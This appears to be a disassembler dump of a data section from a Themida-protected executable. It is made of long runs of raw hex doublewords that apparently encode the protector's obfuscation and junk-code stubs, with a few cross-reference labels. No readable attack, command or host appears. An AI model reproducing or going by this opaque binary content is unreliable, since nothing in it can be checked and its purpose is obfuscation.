		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FAAC356h
		dd 684h, 0ADBD2900h, 0C706142Ah, 141AC985h, 2B89D506h
		dd 53006A10h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0D2E04AE2h, 8E19A5D1h, 0BD895B8Ah, 6140FBDh
		dd 8D89C08Bh, 61406C9h,	1AA5BD81h, 7D00614h, 850F0000h
		dd 53h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 0EC35545h, 609B7B9Eh, 8948C480h, 141685BDh, 0B70F6106h
		dd 0A585FFFFh, 6A06141Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0BB71C352h,	0FF44D79Dh
		dd 141AA5B5h, 0D7816606h, 95FF68FDh, 6141169h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FC35646h, 0D2FA7095h
		dd 5009B593h, 55BD01F2h, 90061402h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0DBC35141h,	0B36630C2h, 6A6735h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 816679C3h, 0BF80C9CEh, 5E520F7Dh, 8BF0B70Fh,	0F08B66F0h
		dd 67DBD8Bh, 56FC0614h,	8B525FF8h, 1414C5BDh, 8D895F06h
		dd 6142BBDh, 0F890Fh
		dd 89600000h, 1431958Dh, 820FFC06h, 0
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 1354B788h, 0FE8B49A1h, 1FB5B58Bh, 6A0614h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 2E7163C3h, 7DBD334Fh, 6606141Bh, 664F7FBFh, 9E9F88Bh
		dd 0EE000000h, 0E39645C2h, 405D2238h, 6AF28Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0EAF940C3h, 0F6A9E9D7h, 830FFFFFh, 12h, 68D0Fh, 0BD8B0000h
		dd 6142F7Dh
		db 81h,	0EEh, 89h
byte_5883DF	db 7Dh			; DATA XREF: Themida_:00549360o
		dd 0C18B677Dh, 1129BD2Bh, 4EB0614h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A8C35343h
		dd 6093AFC2h, 0B95B589h, 89600614h, 1435018Dh, 0F616106h
		dd 0C82h, 7E900h, 35120000h, 72F01BC0h,	57006AE6h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 8F0F60h, 8D000000h, 140F9985h, 890F5006h, 0
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 2A59C357h, 0A9B58B81h,	6A061414h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 6AFA8BC4h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0CEAE810Ah
		dd 858D32E9h, 617F9FAh,	0FD7DE681h, 0C08319A2h,	56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 196BF660h, 8C0FAB64h, 6, 11A58509h, 60900614h, 0F525051h
		dd 5A585A31h, 6A905061h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0E544C351h,	73F68157h
		dd 5E1284BEh, 0B49B58Bh, 6A0614h, 0F3D8589h, 6A0614h, 306DBD89h
		dd 95FF0614h, 6141A71h,	5A1BD8Bh, 9D8D0614h, 617A8FCh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h
		dd 83468421h, 21F04046h, 4EF8166h, 0FD3FF41h, 1A8Ah, 14890F00h
		dd 0E8000000h, 0Eh, 96A80AFh, 9948D15Fh, 5778ADC5h, 0FF5FC32Bh
		dd 14236D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0CBAD56BCh, 6479B583h, 86BF660Bh
		dd 88AE900h
		db 2 dup(0)
word_5885DE	dw 0E8h			; DATA XREF: Themida_:00549B1Co
					; Themida_:00549D84o
		dd 5D000000h, 0FA04ED81h, 0BF660617h, 9E9B1B9h,	0DB000000h
		dd 6829AE22h, 96EF108Dh, 1AA5BD81h, 7D00614h, 860F0000h
		dd 133h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0FCC35141h, 0A86DC4F5h,	9D8B29C8h, 6142A05h, 7E9h
		dd 0E4C4A600h, 0C7203F66h, 100E381h, 0BE660000h, 0DB0B7063h
		dd 8C850Fh, 8B660000h, 0DBD83F9h, 617F8h, 41840Fh, 14E80000h
		dd 39000000h, 8288F25h,	94CC8B7Fh, 6D005109h, 3599186Ch
		dd 0F76E705h, 0E95FFFB7h, 67h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 62C35646h, 0C7671035h, 17F80D85h
		dd 106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0BAA35F4Bh, 9F55242Bh, 15E9A2h, 0F8510000h
		dd 8B66515Fh, 85C75EF7h, 617F80Dh, 0
		dd 8DFABF0Fh, 142A059Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 2280375Bh, 0D1195ED5h
		dd 0D5B58BA2h, 8106141Fh, 0FFFEFF23h, 12E8FFh, 52AE0000h
		dd 1E89F9F1h, 0B60FAA4Eh, 0ECAA2D61h, 0A8F05199h, 2F65B529h
		dd 665F0614h, 8D29DB8Ch, 6142F35h, 0F04C3F6h, 7784h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0A2180F2Ch, 0FFC77A8Ch, 142E4595h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 7482DCBBh, 0D98D01E3h, 1061404h, 1402498Dh, 34BE9006h
		dd 50213B55h, 7E8h, 0FCC62600h,	0DFAB1533h, 5E525250h
		dd 585A310Fh, 0B589905Fh, 6142EA1h, 481E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0F1C0AB28h, 6890FFFh, 29000000h, 141C258Dh, 0F00B006h
		dd 70E6F2BFh, 0AE9h, 0F7AE2800h, 3A247A13h, 0E483B848h
		dd 56006A71h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0B6800B92h, 475B501h, 0B60F0614h, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 554D1FFDh, 9E72580Eh, 6880Fh, 0BD230000h, 6141631h
		dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0EB8B9C2Bh, 29FC60A2h, 1408DD95h
		dd 0C38B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0EFC35747h, 66988F15h, 0E8C1F78Bh, 6890F04h, 2B000000h
		dd 1425A1BDh, 0E2F76606h, 24058D89h, 0D82B0614h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 21C35242h, 0B45DAEAEh
		dd 0BC24248Ch, 6890Fh, 0B5890000h, 6143161h, 14E950h, 0F1450000h
		dd 74BD6BCAh, 0C8E845B4h, 8692A4E9h, 25646318h,	1C89DC4Ch
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 2F5534F5h, 2B0981BFh, 1406BDBDh,	0A5B5FF06h
		dd 8B06141Ah, 14060DB5h, 6995FF06h, 6A061411h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 3DDFC351h, 2509BD8Bh, 0B00614h, 0E6F0BF0Fh, 0FA8B6670h
		dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0FFEA51C3h, 3CC989CAh, 9B830F61h,	6A000002h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0B62DC355h, 0F0232BF7h, 2AAC7E0Ah, 6AD8B60Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0E6CFC353h, 5E856h, 88B50000h, 5F4B2E35h
		dd 6BAh, 199D2900h, 8B06142Eh, 3E3BFC3h, 0E8C17AD9h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 4D860154h, 1371B50Bh, 0F7660614h, 55B529E2h,	2B061413h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 2D1E06CEh, 3723BF66h, 6A58F9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0D82B32C3h
		dd 1BC880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0F60124C3h, 0B93454DAh, 7, 3071B58Bh
		dd 0C1830614h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0AE71E3C5h, 0BD89687Eh
		dd 614090Dh, 860FD93Bh,	15Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 71C35343h, 5567911Fh, 95893A70h
		dd 6140369h, 0B175BF66h, 89D98C66h, 14137195h, 4C1F606h
		dd 118840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0DD645BC3h, 81788433h, 187334D6h
		dd 4595FF74h, 6A06142Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8933C351h, 1406AD8Dh
		dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0F7CA3C3h, 6AC32BE8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 91FAC350h
		dd 0D224874h, 0A9266CBFh, 14E843h, 72180000h, 4CCB185Eh
		dd 0FF8FB20Ah, 12E4BD9h, 0F7E65ED8h, 0BD33F65Bh, 61404D1h
		dd 8343D5Eh, 860F0000h,	56h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 8DC35545h, 25083EF6h, 2956A8E8h
		dd 140E858Dh, 2FE95E06h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60B0C351h
		dd 89DED080h, 14116D8Dh, 0C08B6106h, 3FF6D681h,	0C38B771Bh
		dd 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 1CD428C3h, 0C7FB5F93h, 140E2D85h,	7EB39706h
		dd 51006A3Ch, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0E19C0929h, 0C06AF1E5h, 781B50Bh, 0C08B0614h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 94C35646h
		dd 0A1B0B1F2h, 38E64948h, 0A5BD814Fh, 0D006141Ah, 0F000007h
		dd 3785h, 0FF5E5100h, 141AA585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0CE924h, 0B07F0000h
		dd 19E744Fh, 9C788CA8h,	0F18B4C06h, 1AA5B5FFh, 830F0614h
		dd 6, 198DBD29h, 95FF0614h, 6141169h, 294D9D31h, 6A900614h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 59A3C351h, 108A0F45h, 60000000h, 810Fh, 0B30000h
		dd 0D8D2961h, 0F061423h, 318Fh,	6880F00h, 8B000000h, 141471BDh
		dd 14E806h, 0E45C0000h,	9D29BDBEh, 6BDD0CCDh, 560EAB3Eh
		dd 5A68503Fh, 8166D467h, 0F98EEC6h, 80h, 0F78B5E00h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 86C35545h, 246DBD23h
		dd 0B58B0614h, 614234Dh, 0CF5B589h, 6A0614h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6DA388C3h
		dd 664442DDh, 89EB8EBEh, 140CB5BDh, 0F1B52306h,	8B061402h
		dd 1423A1B5h, 6AFB8B06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A28DC350h,	0C1A11B6Fh
		dd 9DBD8B83h, 8B06140Eh, 142B45B5h, 0E7816606h,	9FE9270Ch
		dd 6AFFFFF7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0B7A5C350h, 0FD75EEBh,	0BD8BF21Dh
		dd 6143225h, 0F18BC18Bh, 4EBh, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0F0AA3C3h
		dd 1AE8A716h, 2850F40h,	8B000000h, 0E98589F0h, 8D06141Bh
		dd 140F9985h, 3EBF6606h, 5E89072h, 78000000h, 0A63430E0h
		dd 505EF28Bh, 8B0Fh, 6A900000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 62A2C356h, 0CA38BB56h
		dd 6A6DD7FCh
		dd 0DD858900h, 6A06141Ah, 799D3100h, 8D061404h,	18044B85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 15520AECh, 0A9934614h, 0BE8h, 4B26A100h
		dd 9A64423Dh, 0A934A9B3h, 2EC19D09h, 335F0614h,	141981B5h
		dd 5C08306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	5FC35343h, 50F28B90h, 0CE9h, 0C38C6100h, 0A32B775Dh
		dd 36F75BA6h, 6A904Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0BAC35141h, 0C63A4243h, 89FCD598h, 1404D185h
		dd 8B006A06h, 7195FFF0h, 6A06141Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 42D5C353h
		dd 451DC80Ch, 8D066027h, 17A8FC9Dh, 3870F06h, 66000000h
		dd 0D3FFF38Bh, 1C11BD8Bh, 85FF0614h, 614236Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h, 866BC567h
		dd 0E86F1607h, 14h, 0E7FC7A7Bh,	675A107h, 0BB4F5D4Bh, 79B14D43h
		dd 0A8E50E98h, 0BFDE8166h, 0EAE95FC2h, 0E8000007h, 0
		dd 55ED815Dh, 6A061804h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 2CD0C353h, 0CBE6625h
		dd 6850FDDh, 81000000h,	855AE7E6h, 0A5BD8166h, 0D006141Ah
		dd 0F000007h, 12186h, 2D852900h, 89061416h, 1413A5BDh
		dd 0B59D8B06h, 6A061420h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 40C2C352h, 0BD8B5F1Ch
		dd 6140835h, 100E381h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 850F9DC3h, 6,	0FDBD0Bh
		dd 0DB0B0614h, 8E850Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0E3C92CC3h, 0FC98D29h
		dd 0BD830614h, 618028Fh, 2A840F00h, 66000000h, 0E928CDBEh
		dd 6Ah,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 0E5C35141h, 61F1EA4Bh, 8F85C756h, 1061802h, 66000000h
		dd 9390D781h, 35E9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0D513C852h, 28F85C7h
		dd 618h, 66600000h, 54B1E081h, 0AD31EBBFh, 9D8D617Dh, 61420B5h
		dd 3D37BF66h, 0FEFF2381h, 8C66FFFFh, 0DE8166DBh, 0C3F65E2Eh
		dd 66840F04h, 0BF000000h, 3EB92200h, 2E4595FFh,	6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D3E278C3h, 1289C5FDh, 1C119589h, 66900614h,	502C52BFh
		dd 6E960h, 90C30000h, 33057974h, 9E85250h, 50000000h, 72DACB7h
		dd 7B818107h, 66310F5Ah, 5AA6A7B8h, 33906158h, 14090DB5h
		dd 41AE906h, 0D6810000h, 4EB74469h, 118F0Fh, 5E80000h
		dd 35000000h, 83FE8D16h, 789BD2Bh, 0B05E0614h, 9E95000h
		dd 37000000h, 7AAF5353h, 208AA5B8h, 2970E65Fh, 1424F58Dh
		dd 0E4FE8B06h, 0FEBF0F71h, 6AD8B60Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1A9CC351h
		dd 0A74375CCh, 0C9B5290Fh, 0BA061412h, 6, 2A15BD01h, 0C38B0614h
		dd 22D59D09h, 0E8C10614h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0B897909Ch
		dd 9E858h, 19A30000h, 0CC1FF6ECh, 29A60A48h, 141C998Dh
		dd 0F7665E06h, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0F23E2000h, 0C17DE923h
		dd 6AD82B47h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0A385C351h, 6870F18h, 89000000h
		dd 1423F99Dh, 0F2BF0F06h, 0AD73BF50h, 1C8969DDh, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD8B6852h, 61415E9h, 1AA5B5FFh, 8F0F0614h, 0Ah, 5E9h
		dd 0EA88300h, 9531BD75h, 614171Dh, 116995FFh, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD8BDBC3h, 6140ADDh, 858900B0h, 6140541h, 0BD8970E6h
		dd 6141C91h, 0B70F71E4h, 0F613CF3h, 28383h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0DFF79AF0h, 800FAD8Dh, 0
		dd 6AD8B60Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0C0B4C353h, 0FE960h, 28C40000h
		dd 7A437267h, 0FF9E2AF4h, 0F176641Eh, 0F28B6155h, 6BAh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 3BF1C4F9h, 7B1918ECh, 0BD8B509Ch, 6141389h
		dd 89C38B5Fh, 14159195h, 4E8C106h, 0CE9h, 4A2B4000h, 7AF8285Fh
		dd 0DD9E18DBh, 0E2F76675h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0F6C35747h, 0B58BD82Bh, 61416E1h, 0FD82B58h
		dd 1A788h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0BFD74FA9h, 12C52AF4h, 33EE8166h
		dd 7B997h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 6D25FC3h, 30A1BD89h, 0C1830614h
		dd 28E68100h, 17F917Dh,	141D419Dh, 0FD93B06h, 13F86h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0AA6880BDh, 96930519h, 8C666E11h, 798D29D9h,	0F6061419h
		dd 840F04C1h, 0D1h, 7E9h, 0B50CA500h, 5F8F12ECh, 2E4595FFh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 5499C9C3h, 7762DDCDh, 0CE90EE6h, 58000000h
		dd 3DCC4215h, 1EEEB8EDh, 0E80F8385h, 9,	47D8500Fh, 0DFBF8D11h
		dd 5E5E5245h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 33FA330Bh, 1C05B58Bh, 0C32B0614h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F4C35141h
		dd 297F76BAh, 0AE857h, 471B0000h, 6DD9893Ah, 720457ABh
		dd 5EFABF0Fh, 8343D5Eh,	860F0000h, 11h,	69DBD8Bh, 3DE90614h
		dd 89000000h, 140B35BDh, 6AC08B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E9C1C351h
		dd 12h,	0B0B6ACAAh, 6DC4F5FCh, 0F229C8A8h, 440122F4h, 0FE8B200Fh
		dd 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0FAC35747h, 89AE1D93h, 1406BD95h, 585C706h, 3306142Ah
		dd 0F3ACE5Dh, 183h, 0C08BFC00h,	0B6BFF08Bh, 81227352h
		dd 141AA5BDh, 7D006h, 30850F00h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 3D54C356h
		dd 4B77FDA5h, 1AA585FFh, 8B660614h, 0AD9509FEh,	0FF061404h
		dd 141AA5B5h, 0CE816606h, 95FF3885h, 6141169h, 0F2C2BF66h
		dd 111DBD31h, 0E9900614h, 13h, 3FA7F371h, 0C64E223Bh, 4746D054h
		dd 82511B3Fh, 6A696D17h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0E11BC350h,	0D8DCF92Ah
		dd 7E99133h, 7D000000h,	4EE7E3Ch, 8B66E41Bh, 51006AF2h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 6637AFE6h, 9D29F08Bh, 6141505h, 11E9h, 0D843D800h, 5B0824C0h
		dd 54AF8D81h, 0F57F720Bh, 6A71C5h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 88A82DC3h, 92654B8Eh
		dd 6AA1689Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 5FF7C351h, 57006ABFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 5E80D05h, 0AE000000h
		dd 3EFF7E2Fh, 66F38B66h, 0BF5FF88Bh, 287D88E6h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A0C35545h, 1FEFCFB3h
		dd 899D50Fh, 0F839E936h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0C44F00C3h
		db 0FFh, 24h, 0E9h
byte_589817	db 38h			; DATA XREF: Themida_:0054B598o
		dd 6AC18BF8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 8C9C353h, 0ACD8CF46h, 4EBh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0EC6C01C3h, 448AE17Bh, 0B531831Eh, 6141BFDh,	0F99858Dh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 34FE84C3h, 236542C4h, 9076DE8Ah, 8B27BF66h
		dd 0E1BF6650h, 13E99021h, 9C000000h, 6E620A9Ch,	0A310B152h
		dd 0E6733075h, 18FCA532h, 6A3D09h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 70C35646h, 6BC78142h, 6A6019E8h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E8DA75EDh, 6, 14AEA7ACh, 6051EF41h, 0F5E5F61h
		dd 487h, 6CBF6600h, 0F9B70F38h,	0EC0858Dh, 6A0618h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 42944FC3h, 0CD380415h, 3DDBD2Bh, 7E90614h, 63000000h
		dd 29E5C9D6h, 0C08393D5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0E8AF35Eh
		dd 0F902E07h, 81h, 52505000h, 12870Fh, 0DE90000h, 0A3000000h
		dd 0F49F975Dh, 14DBB6F9h, 3EA10E7Ch, 0DE8310Fh,	0BC000000h
		dd 8488EEBAh, 39173E3Fh, 0D6223FDh, 5A5F6160h, 6A9058h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 178BE8C3h, 5EFB8B52h, 7E951h, 6D520000h, 0DF537B6h
		dd 6A5EAAh, 6D3ABE66h, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 246C19C3h, 0B6D8E904h
		dd 7195FF74h, 0F06141Ah, 68Ah, 91B58B00h, 0F061407h, 686h
		dd 3DBD8B00h, 8D061426h, 17A8FC9Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 66DD1830h
		dd 8CD1F681h, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 391589C3h, 87C41763h, 68B0Fh, 0BD8B0000h
		dd 6141A11h, 236D85FFh,	8B660614h, 8870FF8h, 51000000h
		dd 2EB9B589h, 0E95E0614h, 79Dh,	0E8h, 0ED815D00h, 6180ECAh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 16C35747h
		dd 7983EFC3h, 0F42A12Ah, 0A88h,	5E900h,	0E6350000h, 81CA5FDCh
		dd 141AA5BDh, 7D006h, 89860F00h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0F945C355h
		dd 0B601E485h, 8D0105B3h, 61410A9h, 5EDB58Bh, 9D8B0614h
		dd 6141AF9h, 0E381F78Bh, 100h, 1A19B58Bh, 0DB0B0614h, 0A9850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0BEA343C3h, 0B5BD8B62h, 8306141Ah, 180C5FBDh
		dd 840F0006h, 2Dh, 10E9h, 0B14D4300h, 0E50E9879h, 0C459F0A8h
		dd 1F07F551h, 9FE9D7h, 0EE90000h, 19000000h, 0C12FF7EAh
		dd 0BBC16901h, 0FE63EACDh, 5F85C799h, 106180Ch,	0F000000h
		dd 481h, 80BE6600h, 73E9CBh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 39985AC3h
		dd 519D0908h, 0F061425h, 68Bh, 81BD2B00h, 0C7061429h, 180C5F85h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 969B90F0h, 55E7EAE9h, 10E9h, 2FF0AE00h
		dd 0EF489720h, 0D055C73Eh, 905D7291h, 0F99D8DCEh, 6A06141Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0CEF1C351h, 9B9BD8Bh, 0B58B0614h,	61418CDh
		dd 0FEFF2381h, 8C0FFFFFh, 18h, 13E9h, 0A4240C00h, 80345AEFh
		dd 6A907979h, 0BAD76379h, 0D9A4AE77h, 66DB8C66h, 0C3F6F88Bh
		dd 21840F04h, 8B000000h, 4595FFF8h, 0B06142Eh, 1425D9B5h
		dd 7E85006h, 9F000000h,	90BA66B9h, 895E3AE5h, 0F18B2404h
		dd 3D4E9h, 0CCF68100h, 0B03FBA2Fh, 6A70E600h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E4E2C350h, 52006A71h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 980B8ADEh, 0F442620h
		dd 9E9D8B6h, 0D4000000h, 0C03F46F8h, 92B06C45h,	9DBD0B56h
		dd 5F06142Bh, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 59FAF1D5h, 47AF34Eh, 840F4877h
		dd 5, 0FEB1FCBEh, 6AC38B33h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 7141C352h, 31E6BEDCh
		dd 0E8C15F6Dh, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0CDC2A6E8h, 234F350Bh
		dd 95893AB4h, 6141C9Dh,	89E2F766h, 142D09BDh, 6AD82B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0DFDCC351h, 1F66C498h, 89ADEB7Ch,	1416858Dh
		dd 0C5958906h, 50061434h, 66241C89h, 48EFE781h,	1AA5B5FFh
		dd 81600614h, 3172C5C6h, 0E6B96663h, 95FF617Dh,	6141169h
		dd 2D398509h, 0B00614h,	6A70E6h, 3E851h, 59200000h, 4C8959C3h
